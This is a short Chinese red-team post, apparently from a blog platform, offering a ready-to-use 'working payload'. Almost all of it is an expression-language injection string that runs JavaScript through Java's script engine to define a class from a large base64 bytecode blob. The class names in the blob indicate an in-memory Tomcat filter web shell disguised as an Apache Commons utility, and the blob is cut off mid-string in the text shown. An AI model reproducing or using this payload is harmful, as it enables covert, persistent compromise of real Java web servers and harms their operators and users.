文章总结： 文档展示了一个针对Java环境的Web安全漏洞利用Payload，通过JavaScript引擎执行恶意代码实现类加载与反序列化操作，涉及org.apache.commons.lang.s.SerializationUtil等组件的安全风险分析。 综合评分： 68 文章分类： WEB安全,漏洞分析,渗透测试,红队,漏洞POC

干活payload

cor0ps cor0ps

Web安全

2026年6月26日 13:49 广东

在小说阅读器读本章

去阅读

${“”.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(‘js’)[“ev”.concat(“al”)](‘var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass(\’org.apache.commons.lang.s.SerializationUtil\’).newInstance();}catch (e){var clsString = classLoader.loadClass(\’java.lang.String\’);var bytecodeBase64 = \’yv66vgAAADEBsgEAK29yZy9hcGFjaGUvY29tbW9ucy9sYW5nL3MvU2VyaWFsaXphdGlvblV0aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQANZ2V0VXJsUGF0dGVybgEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEQ29kZQEAAi8qCAAIAQAMZ2V0Q2xhc3NOYW1lAQAqY29tLmdvb2dsZS5nc28uV2ViU29ja2V0VXBncmFkZVJvZGZpRmlsdGVyCAALAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HAA8BABBqYXZhL2xhbmcvU3RyaW5nBwARARLASDRzSUFBQUFBQUFBQUoxWUNWUmMxM24rZm1iZ0RjTUlKQlpKbzhXV2JSbWhRY29JdEZpQUpJdGhzUkFNWUVDRGdIZ1paaDR3WWpiUFBCQTRUdU0yVGhySFRscDNWN3FsaVd1MWFadklWZ3dpU2xRbFRlVTIzZEk5YmJxbisrYlQwNlp0dktuZmZlL05zR2lRZGFvanpYdnYzbi81L3ZYK1YxOTc1d3ZYQURUSWhNQVhTU1g4azZuVVpGejNUMlpUL21GOWZEQVZtZGFOTStuSlREaXFENlNpRTdIT1dOelFNeHBFVUhNdVBCdjJ4OFBKU1g5YlBKek45cVJJeEMySG9GcHR6Zm16ZW1ZMnJoditIRk94b09SWUxCa3pUZ2djZFh0REFtZGJLcW9MS25waVNiMTNKakd1WjRiQzQzR3VWUGFrSXVGNEtKeUpxVzk3MFdsTXhiS0NmVDEzanJURkF3MHVONXdvSjcvU0xiaTdycWNRdnJaVWNpSTIyYUpnZVNaV3JBaDIzSTVlNElxbXJCWEIyRnJSZzlaelFIOWlSczhhTGV2dFp0T3BaRlpmdTIzcm1RckhraWFzcW1XUGQ4eEY5TFFSU3lVMWJCYVVSZlVKZXRBTWcyQmJ6ekpkUnArSTZ4SERIOVNOcVZTVVlFdmlacGdFVzNvS3hvOGtqa2ljVWphdDNWZk00VXltYjBhNTBOcU1wZnlCZVVOdnpXVEM4MXhQenhpRFJrWVBKMGpxU1lmbmxTb2JVNFg5MlpYTUd1Rmt4SXp3c3Z5KzhYTUVTYTdTOFp3NFFkRllnQm96ZW5ZbWJxd21wNUpZVW5uZUdRMGJZWUVXU1NVTmZZNVVkeFYyY0p1MVR3NHRucHFNSmR2SVZKSXdYU0lRZ3FucEtlQmFSWjZ4QXJldTVGeGdtUVVaTzRvNTc2d2Zaa0Z4UkFWVnNQMDJFV2RZcHd3alBaQkRzR2NOcmRyMG4rTFBMVkE4Rmw4T3p0cWN2SlV4ajJ2ejZyS2JUK2RLcjNwdE5oenpuU0Q5anRzNVJVT3pZT2R0WGFIaG1NQzdyZzgwc0ZQY2YwZG1hemdwcUwwelF6VXdzemF1elNjTjdScDJyMmVUblVJYUhoSnNHRFRDa2VsZ09HMDdaNHZhb2JaRXZJVnh6V1IxNC9pTU1iSC9xQXVuQmVWWm16bHBLSDh5MStwdVRlVzlJUTk2RUN4REczb0Y3aWxkbFdKdk9LRjcwSS9hVWhUaFlSYkhwRzZjMHEzcXJTMGs1TllsRHdZeFZJWlduRkhaWlBLR3d2RVppaDIyeEo1bDRxcnFvYk5acGR0WFNtVUVNb1BLdVN6WGxyMmpIb3hpekkwT3ZOZENFclRMcDdxdW9ONUg4WmpTK3ppTHRMOXZjTWlGY1pZY3BZVlZiMW5sQXJ2NGxZWW9kS1Zod2dVZnM1aEsrc01aT29IcDRFSE1NdVFjRzhOQU96TzFrQVBHQWg3RWtYRFRNQmFYekxHQTY4WUNvK1o2R2srb2RmcHVFd1d2anFwZ2wyM0Z1cTNEQXdNekNzQXNMZXJ0ZkxMTmhUa0xZNnRCN2VNemh2N3VVYkZOOWVCSnZLOE1wL0NVQzF2Wkc5ZVVsb1lQRU9UeVloY1JUS3J6ODd1cGVtaWt2OE9ERDJKbktiNEh6MWpHdE91UmVEaWpSM01oT1ZrQXh0Z3Q3WHp2K3NlRUJ4L0c5N3J4TkQ0aTJMb2VsWWFQc2hTWTNhMlJpSjdOeHF3anVtNVU1Zkx6K0pnYnorSGpxOHJNc2w3RDl6UG5pTm8rR2FwVzVZOEZ6WU1md0ErNjhRSitpUFdUSSsyeER5N3ZyUXoyMGVYQmorQkhGZXdmWStCblZaNzNUYWhNNlZySllIdVR4Si9Bajd2cHhKOWdZc2FTczZscHdtOHFrSmhqQlhLMVVFeC9Dait0YlA0a3N5SzdLaXYyRkFoSEFabDAyNmZ3YVpVV0w5cHRjOTN6VmNOTGJseFVJMDFaVWorL2ZLYXVyc1U4c3AvSFo1Ulhma0Y1bEE1eEdTa0xoUWVmeFdOcThYTVVaS1FDeTJldnM4NnNtWmZ4aXRKeldkVmNoL0xrV0tCZ3NiK0tCVlZiaTFabkdNN0V6R0ZvU3c0TnplZ25wYjFCK2lWOFFiVzZxNlJaS3kwd0U0dWJZK1NYM0xpbUxLeUxOTWFUNCtkU1RhRlFORDdZMFBYazhObDRiNml4OCtIeHp1aFEzM0RURXlPSnc5bGdJbmpjaGVzOFdCWEVrQnI2dnFJNnlhK29tU1dkMXBPc2l2MTMxREp0L1FUNXE3aWhJTHpHRXJBZ3BMdDd6MFI3VjZ2OGRVWHl1ZHhvdHRwUURiOUpRT2ZWdXdlL2phQWJ2NFhmRWN6bERPby9HeDNWejBhTmtVVDhmRERSTlJkc0R3d0hoNXRDdy9IUW9ZSEdnZkRROUVCc3VDTTlIRXIyZGdjYlFuTzlvZERVMFBUcGpxRnpvOW54am9iWm9ZUXhPcEFjTUlaQ0E5TURpZE56Wjg2ZG5vbzJqSTZFRGtabmc2SGU3R2puNlBCcXRMK2I3dzMvM3dsVitiWWF2MStHQi9FSFBLanlzMUoyaFF1NitsWk1wMy9NMGFtZ3lCVTBmOEp5alZKNUpqVnZqbHl6ZWtiTkxaSlZjUXdxRC8rRk9wdHVGNncvdzE4cHVyOG1WNHovdXVoNE5Vb1Nsc05JcFBtYm5FazRvSDBkYkNqTFVvSmhZMHJEUDZreE01eU1waExtdGFUZGczL0J2N3J4ei9pM2twTzdZUDRwT1drOXlWNmNqVTBtbTEzNFQ5YjVlRGlySHpuVWtZendGdVBCdDYwcStHK0Zaa2k5L2EvVjZGUmQwWlEzVkRGMTRFMHFvYWw1Ympadmsvc2Q2OXk2U2EreW5ETkdkamhtVEswekxZeDZSS1NJMG9TWHJkTHN6SGpXM0ZEVVhZVUtWSXFsUkZGckxPUVlEN0Q3N0NoSE12TnBJK1hQcHZXSXYyczJmOWdPOGx0TnRObHBmVjY5Qys0cHdEQ29Seks2MFcyUnFNdEJKSmFlVW5WZnM1cTR6VnhXd3pRbkNiWEUrSXhTNUx0QzBHUVRaK2wzVWF4SmxaMTZheFJxVWtOWHFodGZpRjB3bGZISUZuUGtrYTIyYm4rU3VXclBhL1FVRXlDY2liWlozMWxOdGpIVVo0WTZIenVhdjFDdHBMZnA2Tm9kc3JOVXRzdGR6UE82OWVuTWR2cUc3RkpSdU1jdGxhb3pPZWhlait5MlVOM1A3OWFPUVpmc1VZMXpMRkI0UnRSa3IxdXFoZE5STlluOWJZRTJmMzkzMitEaC9uQTBTaHFYN0dNblo4b3RId2w3MSsxNmF3UGtrZmVJM3kyYjVZQWdVTmRsc1dYMXlBd2IyTHlmN201WnMyUUdvelUrbWVMWFZHSjE5aWl3RzZWUmlUdW9xcHMzNUdRNHppUlIvWm0ra01OeVJHMCt3SXdjeitiR2hCa2pGdmNIekxMUWhKY0hOMDJ4cW90cHRTUFhBRlpRN2JaM0NmNllISGRMaTV6SVRTd0ZxRFRoSGFGY056K0djbWVnQkZpMjBpcHRQTit5TTBsL0lwYU4rQU90Z3gyNXdpWmJoMXM2MVZsVVl2RjY1SlRpNlZSdHhtM05YN2VCYU84U1lyZjBLSWpCUWhCdEtrMzZxQ1pxOVFSNW1EMUIrbVhnVm1oNThpRzNuRkhRUEJaUFlHWmlndE95REN2T004THgzdE9WVFBJNnBjWWsxUTYxdkQrMVBPeU40Y1lERFpHb2Z2REFrWU1OaHlZbUhuREpJMXh0ZXFDSjc0Y25qamFPanpjY1BhQzc1REUyaFdPUnVQMWZPTnFBVGwxNnhpV2M3WjBQR2ZPa2lPSWVOakVuKzJRSmYxMHF1OWsxWGFyMnpPN1pieitIeldjWjN6UzQrRnZLcitQa0ZENnJmSXVvOEZWSjVGVU04S0cvaXBHWHVWd0V0K3JFSmtrNVdRR1BSYzduQmxQb1JteXlSUjAyNmJtMmxuR3p5YmpaMnJRWjFWc2x4YkF2OFd5cjRSNUZPRjRqUndXM1hxdS9qdFptNTc3cmFHc3U5aFpYZGkraHJ3aGVwKy96R0ZoQ3FBZzM1SVVWWDN3WldjQWpGK1FwcjNNSllVRnpTV1hFVzdLQXlRdnlxTmRaT2JXRTZTSTBhMTd0aGh6eWViVkZwSnBkUHEvTHNZaHNzMHZ4bkNkUHFkZDFBMjk2U3l2bmwvRCtJcnlHU0tXejhydEt2b1NuUnh5Vm5ZTWp6bGZ3b2NHUll2VzdnR2ViM1Y2M2N3SGY1MXZBRHkvZ1FuT1oxKzB0SS9FTEl3NnZpOFNPSy9oSlVudGQxOVRMQW43bU9wNXU5aWpwWHM4U2Z0YkJFZStscTdnNHNvaWZvNmljVWtWVTVpMWJ3QytTMXVPbGdsOGE1dE50UDEzV2N3R1hodFhhNTVzMytIemVEVTZhc1lncnplWGU0aVY4VVhBVjF5ajJsNitpWThSWCtXVWF1NGl2THVEWHZPWDhzUmEvbGw5Y3dHOHM0T3NYc1MzUHEvWi9MN2QvMjUyeS9mWDdsdkNIeXBRVnJ4dWFTM0lmTHpPNE5iSWtYOFFXSnFaS2lLL2dBSCszTTh3N21BZzdHZmhkT01yMGJjVjk2TVp1aEppaVk5aURDT3A0cWZSaEJ2Vzh0KzNqMVdnL1hvUWZueUgvWlRUZ0cyakV0M0FRZjQ5RGVKMlo5emFPaUJOSHhZTW1xVWF6N0VDTDNJdmpzaGNuNUFnZWxHNmNsTWNSa0RqZlUyaVhERHJsYVR3a0grYnpXWnlXNTlFdG4wQ1BmSkxQVDZOUFhrSy9mQllEVE9VaFdjSUlMUmlXYTd5NDMrQ0ZYQ1h6ZGFidWk1ekh0c0pMdXk0VDFUWmFWVVpjWmJSc0oyMTduY1AvWGJpYnUyOGpReXQzb293SXAybnJ2ZkFRVnljdDNvME5STmVFKzJsMU9TSlNTOHQzc3pSbmFFTWQ5cklrUWhLa0YycFpzSzJTb0M5cVVVSWNMbnBrUDMzSVFzbVZFOS9lUS8rSStYYUFIaW95M3hycEl3ZDV2a3cvSFdZTVBISVZSL0FBaXVsMXF5UXR4RTJVWStGczRuY1g5NDZoN0NiZDY5WlFwS0ZGdzNFTkR4S0ZoallOSGViZlRvM1hKcnlKNTc2RHpVVnZtUCswSWkyZ1lVc3Avc2dzZmlYOVQ0bnBtL2wyVTI4V2ZvRWU4Y2lLNXBMckVVVnFwck1aMjJpRzZoOFZLcm5yRi9HWEMvZ2I1dTZsTldJZVg5RnFLdkt0cGdKL1RzL3gxRk9YSnF2VlVMU1RYZ0JHNjRQMTF5ci84VVZvem91b3VJSi9yOGJyMDlYNGo4akhUemlPT0d1Y096K0ZPcnVnS3YrTEJlUHo3VnZFL3l6aU83bmllU3Y0akZNdTN2eUd1YTQrVmFIdy9hc0ttOFBFZGhmakIwU3BXV2VlVEREeWt3andlUW94UEl4ekp1WkRSTE9UL3ZrVy9wYklpQ3VQZmhSL3g2eFE2TTh5SUx2NTNJYVQrQWZTT2N4SVZjTDVGall3SHQzeU5od2liekJqbFAvVmdiQ0YxSEVrYkp1ZnBRNEhud2Q4OWJ3MjVvSFNMbkZld0hhZkw3ZmlXaEFYVFZSRUYyOStjOSt5SlpVbXRpUzluYUtYMDh5NWpJbCtseVUzai9rQXM2bldQSkI4Tm1hRmxEUFhXeWdoMGoyckFLYnhoQlZsMmNZMXBqVTZyMHJseUN2aWZVWHVYcEI3RitXKzNxdFN6WVZhK3JkSzZoYWx2dGxaSmZ1dlNJTTZIblpjTUlQbkxQWTY5eS9JSVc5eC9ZSWN2ZFFybDh5VUNEQjN0cXdLeEhrZVdYTU13cnpaWEk3aGZhUjRDdTE0djJuS0tkSnNRcU9VaXB0YzkyR1hsTEd0T0VtN1ZUWklPVjNZVHN5cUFKWEpuWG1UTzVsa3UwMk5uVkloRzIyVFQ4RnhrNVZYWXBaUkp5OERsWnBVYTdJWmZOMThVK1h0TFR0Ri9KR2JsT3V3dDBocit1bmIrZVJOOGFtMDExeVJCMmxzKzZYZ1Zla2NXWlNIK0hIYU1sc2Q4VG16eTAzaUQzTGxHYkovS0IreFVpcFJocWhxcWNrYlVpTk5waUZkVmxXZFVzcFhodXVkZkQ2dGdORkx6WU1LeGhuQ0NQRmpaRDBZejNIbGViSi83QTVnMUs0THd5WGhmRlB4bXBxQURWWHk2R1dwclpMSEw0djNaV3ZJa0ZFemE0czRiTGJJR0VvNTJiWEllMUg2Zis5RjBEcUZHd0FBCAATAQAGPGluaXQ AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABIAFwEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HABoBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEALUxvcmcvYXBhY2hlL2NvbW1vbnMvbGFuZy9zL1NlcmlhbGl6YXRpb25VdGlsOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA5qYXZhL3V0aWwvTGlzdAcAJwEAEmphdmEvdXRpbC9JdGVyYXRvcgcAKQEADVN0YWNrTWFwVGFibGUMABUAGQoABAAsAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwwALgAvCgACADABAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMADIAMwsAKAA0AQAHaGFzTmV4dAEAAygpWgwANgA3CwAqADgBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsMADoAOwsAKgA8AQAJZ2V0RmlsdGVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAD4APwoAAgBAAQAJYWRkRmlsdGVyAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDABCAEMKAAIARAEABGtleTEBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAUAEAEGphdmEvbGFuZy9UaHJlYWQHAFIBABFqYXZhL3V0aWwvSGFzaE1hcAcAVAEAE2phdmEvdXRpbC9BcnJheUxpc3QHAFYKAFcALAEACmdldFRocmVhZHMIAFkBAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWwBcCgACAF0BAAdnZXROYW1lDABfAAYKAFMAYAEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAGIBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAZABlCgASAGYBAAZ0YXJnZXQIAGgBAAVnZXRGVgwAagBcCgACAGsBAAZ0aGlzJDAIAG0IAEcBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwAcABxCgBVAHIBAA1qYXZhL3V0aWwvU2V0BwB0CwB1ADQBAANnZXQMAHcAPwoAVQB4AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB6AHsKAAQAfAEAD2phdmEvbGFuZy9DbGFzcwcAfgoAfwBgAQAPU3RhbmRhcmRDb250ZXh0CACBAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDACDAIQLACgAhQEAFVRvbWNhdEVtYmVkZGVkQ29udGV4dAgAhwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAIkAigoAUwCLAQAIdG9TdHJpbmcMAI0ABgoAfwCOAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcggAkAEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIIAJIBAAlyZXNvdXJjZXMIAJQIACABABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcAlwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgwAFQCZCgCYAJoBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAnAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAJ4BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCgAQAJU2lnbmF0dXJlAQAmKClMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwCkAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAK4BAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMALAAsQoAUwCyAQAOZ2V0Q2xhc3NMb2FkZXIMALQAigoAfwC1DAAKAAYKAAIAtwEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMALkAugoArwC7DAANAAYKAAIAvQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAL8AwAoAAgDBAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAMMAxAoAAgDFCACoBwCnAQARamF2YS9sYW5nL0ludGVnZXIHAMkBAARUWVBFDADLAKsJAMoAzAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAzgDPCgB/ANABABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHANIBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA1ADVCgDTANYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA2ADZCgDKANoBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMANwA3QoA0wDeAQALbmV3SW5zdGFuY2UMAOAAOwoAfwDhAQANZ2V0RmlsdGVyTmFtZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAMbGFzdERvdEluZGV4AQABSQEACWNsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAS4IAOkBAAtsYXN0SW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQwA6wDsCgASAO0BAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsMAO8A8AoAEgDxAQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBAA5jYXRhbGluYUxvYWRlcgEAD2ZpbHRlckNsYXNzTmFtZQEACmZpbHRlck5hbWUBACNbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yPCo OwcA9wEAEWdldENhdGFsaW5hTG9hZGVyDAEAAIoKAAIBAQwA4wDkCgACAQMBAA1maW5kRmlsdGVyRGVmCAEFAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABbAQcKAAIBCAEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyRGVmCAEKAQAHZm9yTmFtZQwBDAC6CgB/AQ0BAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlck1hcAgBDwEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlckRlZggBEQEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlck1hcAgBEwEAPShMamF2YS9sYW5nL1N0cmluZztaTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsMAQwBFQoAfwEWAQANc2V0RmlsdGVyTmFtZQgBGAEADnNldEZpbHRlckNsYXNzCAEaAQAMYWRkRmlsdGVyRGVmCAEcAQANc2V0RGlzcGF0Y2hlcggBHgEAB1JFUVVFU1QIASABAA1hZGRVUkxQYXR0ZXJuCAEiDAAFAAYKAAIBJAEAMG9yZy5hcGFjaGUuY2F0YWxpbmEuY29yZS5BcHBsaWNhdGlvbkZpbHRlckNvbmZpZwgBJgEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwwBKAEpCgB/ASoBAA1zZXRVUkxQYXR0ZXJuCAEsAQASYWRkRmlsdGVyTWFwQmVmb3JlCAEuAQAMYWRkRmlsdGVyTWFwCAEwAQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IHATIKATMA1gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA4AE1CgEzATYIAPkBAA1qYXZhL3V0aWwvTWFwBwE5AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMATsBPAsBOgE9AQAPcHJpbnRTdGFja1RyYWNlDAE/ABkKABsBQAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwFCAQAgamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb24HAUQBAAFpAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBAAliYXNlNjRTdHIBABRMamF2YS9sYW5nL0NsYXNzPCo OwEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIAUwBAAxkZWNvZGVCdWZmZXIIAU4BAAlnZXRNZXRob2QMAVAAzwoAfwFRAQAQamF2YS51dGlsLkJhc2U2NAgBUwEACmdldERlY29kZXIIAVUBAAZkZWNvZGUIAVcBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAWIBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtBwFkAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0HAWYKAWMALAEABShbQilWDAAVAWkKAWUBagEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwAFQFsCgFnAW0BAARyZWFkAQAFKFtCKUkMAW8BcAoBZwFxAQAFd3JpdGUBAAcoW0JJSSlWDAFzAXQKAWMBdQEAC3RvQnl0ZUFycmF5AQAEKClbQgwBdwF4CgFjAXkBAANvYmoBAAlmaWVsZE5hbWUBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARnZXRGAQA/KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAF/AYAKAAIBgQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkBwGDCgGEANYKAYQAeAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcBhwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwBigGLCgB/AYwBAA1nZXRTdXBlcmNsYXNzDAGOAHsKAH8BjwoBiAAXAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQEAB21ldGhvZHMBABtbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAKcGFyYW1DbGF6egEAEltMamF2YS9sYW5nL0NsYXNzOwEABXBhcmFtAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABm1ldGhvZAEACXRlbXBDbGFzcwcBlQEAEmdldERlY2xhcmVkTWV0aG9kcwEAHSgpW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAGfAaAKAH8BoQoA0wBgAQAGZXF1YWxzDAGkAIQKABIBpQEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsMAacBqAoA0wGpCgCfABcBAApnZXRNZXNzYWdlDAGsAAYKAJ0BrQoAmAAXAQAIPGNsaW5pdD4KAAIALAAhAAIABAAAAAAAEAABAAUABgABAAcAAAAPAAEAAQAAAAMSCbAAAAAAAAEACgAGAAEABwAAABAAAQABAAAABBMADLAAAAAAAAEADQAGAAIADgAAAAQAAQAQAAcAAAAXAAMAAQAAAAu7ABJZEwAUtwAYsAAAAAAAAQAVABkAAQAHAAAA2AADAAUAAAA2KrcALSq2ADFMK7kANQEATSy5ADkBAJkAGyy5AD0BAE4qLbcAQToEKi0ZBLYARaf/4qcABEyxAAEABAAxADQAGwAEABwAAAAmAAkAAAAsAAQALgAJAC8AIAAwACcAMQAuADIAMQA1ADQAMwA1ADgAHQAAACoABAAnAAcAHgAfAAQAIAAOACAAHwADAAkAKAAhACIAAQAAADYAIwAkAAAAJQAAAAwAAQAJACgAIQAmAAEAKwAAABoABP8AEAADBwACBwAoBwAqAAD5ACBCBwAbAAABAC4ALwADAAcAAALYAAMADgAAAXm7AFdZtwBYTBJTElq4AF7AAFHAAFFNAU4sOgQZBL42BQM2BhUGFQWiAUEZBBUGMjoHGQe2AGESY7YAZ5kAsy3HAK8ZBxJpuABsEm64AGwSb7gAbMAAVToIGQi2AHO5AHYBADoJGQm5ADkBAJkAgBkJuQA9AQA6ChkIGQq2AHkSb7gAbMAAVToLGQu2AHO5AHYBADoMGQy5ADkBAJkATRkMuQA9AQA6DRkLGQ22AHlOLcYAGi22AH22AIASgrYAZ5kACystuQCGAgBXLcYAGi22AH22AIASiLYAZ5kACystuQCGAgBXp/ vp/98pwB3GQe2AIzGAG8ZB7YAjLYAfbYAjxKRtgBnmgAWGQe2AIy2AH22AI8Sk7YAZ5kASRkHtgCMEpW4AGwSlrgAbE4txgAaLbYAfbYAgBKCtgBnmQALKy25AIYCAFctxgAaLbYAfbYAgBKItgBnmQALKy25AIYCAFeEBgGn/r6nAA86BLsAmFkZBLcAm78rsAABABgBaAFrABsABAAcAAAAcgAcAAAAOwAIADwAFgA9ABgAPwAxAEEAQgBCAFgARQB3AEYAiABJAKcASgCvAEsAwgBMAMoATgDdAE8A5QBQAOgAUQDrAFIA7gBUARwAVQEsAFYBPwBXAUcAWAFaAFkBYgA/AWgAXgFrAFwBbQBdAXcAXwAdAAAAZgAKAKcAPgBGAB8ADQCIAGAARwBIAAsAdwBxAEkAHwAKAFgAkwBKAEgACAAxATEASwBMAAcBbQAKAE0ATgAEAAABeQAjACQAAAAIAXEAIQAiAAEAFgFjAE8AUAACABg